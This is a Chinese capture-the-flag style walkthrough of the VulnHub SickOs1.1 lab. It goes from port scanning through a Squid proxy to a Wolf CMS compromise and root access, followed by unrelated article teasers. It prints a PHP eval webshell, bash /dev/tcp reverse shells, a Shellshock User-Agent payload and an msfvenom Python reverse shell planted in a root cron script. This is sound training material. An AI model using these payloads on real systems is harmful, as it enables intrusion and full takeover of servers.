红队渗透靶场之SickOs1.1

news/2024/5/18 16:01:02/文章来源:https://blog.csdn.net/xf555er/article/details/128198506

靶场考察知识

shellshock漏洞

shellshock即unix系统下的bash shell的一个漏洞, Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞, 向环境变量值内的函数定义后添加多余的字符串会触发此漏洞, 攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统

bash使用的环境变量是通过函数名称来调用的,以"(){"开头通过环境变量来定义,而在处理这样的恶意的函数环境变量时,并没有以函数结尾 “}” 为结束,而是执行其后的恶意shell命令

执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理


Linux计划任务提权

重点查看以下计划任务文件是否有可提权的操作

  • /etc/crontab

  • /etc/cron.d/*

  • /etc/cron.daily/*

  • /etc/cron.hourly/*

  • /etc/cron.monthly/*

  • /etc/cron.weekly/


数据库配置文件泄露

通常在网站的根目录或者config目录会保存着数据库配置文件, 此文件存有数据库用户的相关信息, 可能会对后续用户的登录爆破起到至关重要的作用


靶场搭建

SickOS靶场的下载地址: https://download.vulnhub.com/sickos/sick0s1.1.7z


渗透步骤

信息收集

1.确定目标IP

扫描C段存活主机: nmap -sn 192.168.47.0/24 , 确定SickOs的靶机IP为192.168.47.157

image-20221127183242830


2.端口扫描

分别使用TCP和UDP扫描目标主机的开放端口, 扫描结果显示目标主机开放了2231288080端口, 目标主机的系统为LINUX, 其中3128端口为squid代理服务

nmap -sV --min-rate 10000 -p- 192.168.47.157 #nmap默认使用TCP扫描
nmap -sU -p22,3128,8080 192.168.47.157 

image-20221127183923885

image-20221127183948301


使用nmap自带的web漏扫脚本进行扫描, 没有发现漏洞

nmap --script=vuln -p22,3128,8080 192.168.47.157

image-20221127184235518


访问http://192.168.47.157:3128, 页面爆出squid及其版本号3.1.19, 通过搜索引擎得知, squid是一个代理服务器和Web缓存服务器, 主要用于Unix一类系统使用

image-20221203171730245


3.目录爆破

使用dirsearch对代理服务器http://192.168.47.157:3128进行爆破, 没有结果

image-20221203172246147


既然192.168.47.157:3128是一个代理服务器, 那就尝试用它来作为目录爆破工具的代理参数来对http://192.168.47.157进行扫描, 扫描结果如下图所示

image-20221203172417589


浏览器设置代理访问http://192.168.47.157, 页面显示"BLEHHH"

image-20221203172712811

image-20221203172745668


访问http://192.168.47.157/robots.txt, 页面提示此网站的cms为wolfcms

image-20221203172929093


尝试访问wolfcms目录: http://192.168.47.157/wolfcms/, 很幸运访问成功了, 从页面信息来看, 这像是一个博客网站, 既然是博客网站, 那么肯定有编辑文章的接口, 通常要使用此接口需要网站管理员权限, 那么接下来就要找到网站的后台地址

image-20221204111821234


通过搜索引擎搜索关于wolfcms的后台路径, 尝试访问/?/admin目录 ,成功爆出网站后台登录页面

image-20221204112324601

1


Web渗透

1.写入webshell

关于获取后台密码可以使用爆破或者弱口令, 此处很幸运使用了弱口令admin/admin就能直接登录进后台, 登录进后台后可以看到一些编辑文章的接口

image-20221204121605758


选取标题为Articles的页面进行编辑, 在其源码的基础上添加上一行webshell代码:<?php @eval($POST[123]);?>

image-20221204122836780


根据上述页面的源码输出内容, 可查找出此页面的网页路径为: http://192.168.47.157/wolfcms/?articles.html

image-20221204123245663


打开蚁剑并为其配置代理: http://192.168.47.157:3128

image-20221204123456992


连接webshell, url地址为http://192.168.47.157/wolfcms/?articles.html, 连接密码为123

1

image-20221204123746461


2.写入反弹Shell

在Atricles的编辑页面处添加上一行php反弹shell代码:<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.47.155/4444 0>&1'");?>

image-20221204124501786


kali监听本机的4444端口, 然后点击Atricles页面触发反弹shell代码

动画


主机渗透

1.获取主机基本信息

收集目标主机的基本信息, 确定目标系统为linux 32位, 当前shell的用户名为www-data, 该用户没有root权限

www-data用户通常用于前端与后端的数据交互

image-20221204131005875


2.发现网站配置文件

查看当前目录的文件, 发现一个疑似网站配置文件config.php, 通常此类文件存储着数据库用户的账号密码

image-20221204191532871


查看该配置文件的内容, 发现数据库root用户的密码为john@123

image-20221204191621629


3.尝试登录root权限的用户

查看etc/passwd文件, 像这里root、backup、sickos这些拥有bash环境的用户都要尝试使用上述的密码进行登录, 毕竟有时候网站的管理员会将数据库的密码和系统主机的密码设置成相同的

image-20221204192205930


经过多次登录尝试后, 只有sickos用户登录成功

image-20221204194853025


输入sudo -l, 查看当前用户权限为(ALL; ALL;ALL), 即拥有root用户权限

image-20221204195029516


4.获取flag

执行sudo /bin/bash提权, 随后获取flag

image-20221204195237538


另外一种渗透思路

1.nikto漏洞扫描

使用nikto对靶机进行漏洞扫描, 发现在网站的cgi-bin/status目录下疑似存在ShellShock漏洞

nikto -h 192.168.47.157 -useproxy http://192.168.47.157:3128

1


2.ShellShock漏洞利用

尝试使用ShellShock漏洞的exp, 执行whoami命令, 页面输出命令的执行结果

curl --proxy http://192.168.47.157:3128 -H "User-Agent:() { :;};echo;/usr/bin/whoami" http://192.168.47.157/cgi-bin/status

image-20221205155244611


kali监听本机的4444端口, 利用ShellShock漏洞远程执行反弹shell命令

curl --proxy http://192.168.47.157:3128 -H "User-Agent:() { :;};/bin/bash -i >& /dev/tcp/192.168.47.157/4444 0>&1" http://192.168.47.157/cgi-bin/status

image-20221205160336437

image-20221205160342337


3.主机基本信息收集

查看目标主机是否安装了python: dpkg -l | grep "python", 可以发现目标主机只安装了python2

image-20221205160640147


4.计划任务提权

查看/etc/crontab, 没有可利用的计划任务

image-20221205163002904


再查看/etc/cron.d/目录下的文件, 发现automate文件有一条计划任务似乎可以利用, 此计划任务的内容是, 让root用户每分钟使用python命令执行/var/www/connect.py文件, 也就是说若我们在connect.py写入python反弹shell代码, 则可获取一个root用户的shell

image-20221205163707636


使用metasploit生成python的反弹shell代码

msfvenom -p cmd/unix/reverse_python lhost=192.168.47.155 lport=443 -f raw

image-20221205164015113


将上述的python代码粘贴到/var/www/connect.py, 在非交互性Shell的环境执行vim命令, 有些操作可能会比较诡异, 例如你不能上下左右的移动光标。首先输入o进入插入模式后(插入新的一行), 然后复制粘贴, 再按右上角的ESC+wq, 最后再按回车键

动画


再次查看connect.py, 可以发现反弹shell代码已经粘贴上去了

image-20221205182054873


随后在kali开启nc监听本机的443端口, 一分钟后kali接收到root权限的shell

image-20221205182359197

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_231193.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue中pc端大屏怎么进行rem适配(lib-flexible + postcss-plugin-px2rem)

npm i lib-flexible -Spostcss-plugin-px2rem在main.js中引入 import lib-flexible/flexible.js找到node_modules里找到lib-flexible&#xff0c;修改flexible.js 搜索540找到refreshRem函数修改 function refreshRem() {var width docEl.getBoundingClientRect().width;if (…

电脑e盘不见了怎么恢复?6个步骤找回e盘

电脑e盘不见虽然不是一件常见的事&#xff0c;但是也会有发生的情况。虽然我们还有其他磁盘&#xff0c;平时也会经常忽略e盘。但是e盘也是一个存储磁盘&#xff0c;当电脑e盘不见了&#xff0c;我们也会想要找回来。那么电脑里的e盘丢失了怎么找回呢&#xff1f;下面我们就一起…

【历史上的今天】12 月 6 日:微波炉问世;多媒体格式 Mkv 诞生;日立环球存储科技公司成立

整理 | 王启隆 透过「历史上的今天」&#xff0c;从过去看未来&#xff0c;从现在亦可以改变未来。 今天是 2022 年 12 月 6 日&#xff0c;在 1892 年的今天&#xff0c;世界著名电子电器之父西门子逝世。西门子&#xff08;Siemens&#xff09;是全球领先的科技企业&#xf…

使用RMI实现RPC

1 RMI简介 RMI(Remote Method Invocation) 远程方法调用。 RMI是从JDK1.2推出的功能&#xff0c;它可以实现在一个Java应用中可以像调用本地方法一样调用另一个服务器中Java应用&#xff08;JVM&#xff09;中的内容。 RMI 是Java语言的远程调用&#xff0c;无法实现跨语言。…

元宇宙工程系,来了一位“吃螃蟹”者

转自《中国科学报》 记者 温才妃 潘志庚&#xff08;右&#xff09;给学生讲授元宇宙技术。受访者供图 元宇宙办学潮正在高校中暗涌。 不久前&#xff0c;南京信息工程大学人工智能学院&#xff08;未来技术学院&#xff09;信息工程系正式更名为元宇宙工程系&#xff0c;成为…

Kubernetes v1.25 搭建单节点集群用于Debug K8S源码

参考说明 参考自&#xff1a;v1.25.0-CentOS-binary-install-IPv6-IPv4-Three-Masters-Two-Slaves.md&#xff0c;按照自己的理解修改了下。 搭建好的单节点v1.25.4版本集群 1. 集群环境准备 1.1. 主机规划 IP主机名主机角色操作系统安装组件192.168.11.71k8s-master1maste…

HTML网页设计【足球科普】学生DW静态网页设计

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…

02-SpringBoot基础

一、回顾 二、知识目标 SpringBoot概述【了解】 SpringBoot快速入门【掌握】 SpringBoot启动原理【重点】 SpringBoot配置文件【掌握】 SpringBoot属性注入【掌握】 三、为什么使用SpringBoot&#xff1f; -SSM开发有哪些痛点&#xff1f; 1、在早期我们都是使用的是SSM来…

1.Spring概述(Spring官方文档总结)

目录 1.1jdk环境依赖 1.2 Spring介绍 1.3 Spring历史 1.4 设计理念 1.1 jdk环境依赖 从Spring Framework 5.1开始&#xff0c;Spring需要JDK 8 (Java SE 8)&#xff0c;并提供对JDK 11 LTS的开箱即用支持。建议将Java SE 8 update 60作为Java 8的最低补丁版本&#xff0c;但…

磁盘和文件系统管理(一)

检测并确认新硬盘 fdisk命令 查看或管理磁盘分区 fdisk -l [磁盘设备] 或 fdisk [磁盘设备] 交互模式中的常用指令 m、p、n、d、t、w、q d delete a partition * 删除分区 g create a new empty GPT partition table 创建一个新的空的GPT分区表(可以对大于2T磁盘进行分区) l…

如何安装Ambari集群_大数据培训

注意&#xff1a;以下操作主节点操作即可 1 制作本地源 制作本地源是因为在线安装Ambari太慢。制作本地源只需在主节点上进行。 1.1 配置HTTPD 服务 配置HTTPD 服务到系统层使其随系统自动启动 [roothadoop102 ~]# chkconfig httpd on [roothadoop102 ~]# service httpd …

【Opencv实战】高手勿入,Python使用Opencv+Canny实现边缘检测以及轮廓检测(详细步骤+源码分享)

前言 有温度 有深度 有广度 就等你来关注哦~ 所有文章完整的素材源码都在&#x1f447;&#x1f447; 粉丝白嫖源码福利&#xff0c;请移步至CSDN社区或文末公众hao即可免费。 在这次的案例实战中&#xff0c;我们将使用Python 3和OpenCV。我们将使用OpenCV&#xff0c;因为它是…

私域运营对于企业的重要性

企业进行私域流量的精细化运营&#xff0c;不仅可以打造属于企业自己的社群王国&#xff0c;还可以挖掘存量客户的价值&#xff0c;实现更智能的客户管理和个性化运营方案。 前言 相信每个人都对瑞幸咖啡略有耳闻&#xff0c;这个国产咖啡品牌曾一度被封神&#xff0c;但随着财…

感知算法工程师面试===目标检测===YOLO V4(改)

感觉V3 到V4&#xff0c;YOLO的整体架构并没有重大的改进&#xff0c;只是增加了很多的trick 先展示一下V4的整体网络结构 ↑\uparrow↑这个是对比V3的 如图可见&#xff0c;V4的结构依然是主干网络金字塔头部检测器&#xff0c;所有的改进都是为了更好更快的检测目标。 ↑\…

(四)Spring Security Oauth2.0 源码分析--客户端端鉴权(token校验)

一 引言 在上篇文章我们分析了token的获取过程,那么拿到token后,将token放在请求头中进行资源的访问,客户端是如如何对token进行解析的呢,本文带你走进token校验的源码解析,基本流程如下所示 客户端向资源服务器发起请求时,在请求头Authorization携带申请的token请求被Filte…

均匀传输线的串扰和饱和长度

下图为串扰的电路模型&#xff0c;动态线与静态线之间通过互容与互感联系&#xff0c;这样也说明了动态线的信号耦合到静态线上的条件是存在di/dt或者dv/dt时&#xff0c;也就是说只在信号边沿上产生串扰&#xff0c;当电压或者电流为常数的时候静态线上就不会有串扰的信号。 信…

Redis04:Redis事务操作以及后续高级部分

Redis事务操作以及后续高级部分Redis事务事务执行Redis实现乐观锁Redis事务 Redis事务本质&#xff1a;一组命令的集合&#xff01;一个事务中的所有命令都会被序列化&#xff0c;在事务执行过程中&#xff0c;会按顺序执行&#xff01; Redis单条命令是保证原子性的&#xff…

为什么在高速PCB设计当中信号线不能多次换孔

大家在进行PCB设计时过孔肯定是要接触的&#xff0c;那么大家知道过孔对于我们PCB的信号质量影响有多大吗&#xff1f; 在搞清楚上面这个这个问题之前我们先给大家介绍一下我们在PCB设计时过孔应该如何选取。 一般过孔种类有以下三种可以进行选择&#xff1a;&#xff08;单位是…

Bug系列路径规划算法原理介绍(四)——I-BUG 算法

本系列文章主要对Bug类路径规划算法的原理进行介绍&#xff0c;在本系列的第一篇文章中按照时间顺序梳理了自1986年至2018年Bug类路径规划算法的发展&#xff0c;整理了13种BUG系列中的典型算法&#xff0c;从本系列的第二篇文章开始依次详细介绍了其中具有代表性的BUG1、BUG2、…

四种区块链底层技术形态的对比解读

新世纪以来&#xff0c;互联网技术快速发展&#xff0c;催生了以平台经济为典型的各种新业态、新模式&#xff0c;深刻影响和改变了人类社会的生产方式、生活方式和社会治理方式。然而在推动经济和社会发展的同时&#xff0c;基于数据点对点传输建立的互联网也越来越多地暴露出…